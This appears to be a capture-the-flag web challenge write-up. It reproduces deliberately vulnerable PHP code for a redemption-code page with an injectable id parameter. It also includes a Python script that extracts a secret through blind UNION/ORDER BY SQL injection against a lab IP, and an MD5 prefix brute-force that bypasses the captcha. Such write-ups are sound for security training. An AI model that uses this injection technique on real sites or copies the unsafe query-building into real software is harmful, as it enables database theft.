AH-Web-Write-Up

/*
CREATE TABLE `users` (
  `id` int(5) NOT NULL AUTO_INCREMENT,
  `user` varchar(20) DEFAULT NULL,
  `pass` varchar(32) DEFAULT NULL,
  `$secret` varchar(36) DEFAULT NULL,
  `count` int(3) DEFAULT NULL,
  PRIMARY KEY (`id`)
)
*/

// 兑换码生成与验证
function duihuanma_product()
{
    $string = "1234567890abcdefghijklmnopqrstuvwxyz";
    return str_shuffle($string);
}

function change($secret)
{
    global $username,$row;
    $duihuanma = duihuanma_product();
    $row = mysql_fetch_array(mysql_query("select * from users where user='$username'"));
    $count = $row['count'];
    if (!$row[$secret]){
        mysql_query("update users set $secret='{$duihuanma}' where user='$username'");
    }
    if($row['count'] == 140)
    {

        if(mysql_query("update users set $secret='{$duihuanma}' where user='$username';"))
        {
            mysql_query("update users set count=0 where user='$username';");
            die("<center><br><h3>尝试次数过多，兑换码已经重置</h3></center>");
        }
        return $duihuanma;
    }
    else
    {
    mysql_query("update users set count=({$row['count']} + 1) where user='$username';");
    }
    return $row[$secret];
}

// id值的业务代码
$id=$_GET['id']?$_GET['id']:0;
if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id))
    die('<h3>danger character dectected</h3>');
$sql = "select * from users where id=$id";
$result = mysql_query($sql);
$rownew = @mysql_fetch_array($result);
$rownew['user']=$rownew['user']?$rownew['user']:"noman";
?>
<h3>This is <?php echo $rownew['user'];?> page,您已经访问<?php echo $row['count']+1;?>次</h3><br>
<?php
if ($rownew['user']==='admin'){
    echo "<br><h3>good job,hint: thisissourcecode.zip</h3>";
}

// 验证码生成
$captcha= getCaptcha(4);
$_SESSION['captcha'] = $captcha;
function getCaptcha($length){
	$str = null;
	$strPol = "0123456789abcdef";
	$max = strlen($strPol)-1;

	for($i=0;$i<$length;$i++){
		$str.=$strPol[rand(0,$max)];
	}
	return $str;
}

// 对比验证码
if (isset($_POST['captcha']) && isset($_POST['duihuanma'])) {
	if(!(substr(md5($_POST['captcha']), 0, 4)===$_SESSION['captcha']))
		die('<center><p>captcha not right</p></center>');
    $sql = "select $secret from users where user='${_SESSION['username']}'";
    #echo $sql;
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

}

// 对比兑换码
if (isset($_POST['duihuanma'])){
  if ($row[$secret]===$_POST['duihuanma']){
      echo "<br><center>".$flag."</center>";
  }else{
      echo "<center>flag兑换码不正确</center>";
  }
}

# coding=utf-8
import requests
import math

ALL = "0123456789abcdefghijklmnopqrstuvwxyz"
flag = ""
cookies = {"PHPSESSID": "7v527f98146aite4mobo4n0b13"}
count = 0
for i in range(35):
    left = 0
    right = len(ALL) - 1
    mid = int(math.ceil((left + right) / 2.0))
    while left < right:
        count += 1
        url = "http://10.10.118.51/profile.php?id=5 union select 1,2,3,'"+ flag + str(ALL[mid]) + "',5 order by 4"
        res = requests.get(url, cookies=cookies).text
        if "This is 2 page" in res:
            left = mid
        else:
            right = mid - 1
        mid = int(math.ceil((left + right) / 2.0))
        print(left, mid, right)
    flag += ALL[mid]
    # 去除已经出现的字符
    ALL = ALL.replace(ALL[mid], '')

print("-" * 100)
print(flag+ALL)
print(count)
print("-" * 100)

import hashlib

result = 1
while True:
    m = hashlib.md5(str(result))
    m = m.hexdigest()
    if m[0:4] == "ee6a":
        print(m)
        print(result)
        break
    result += 1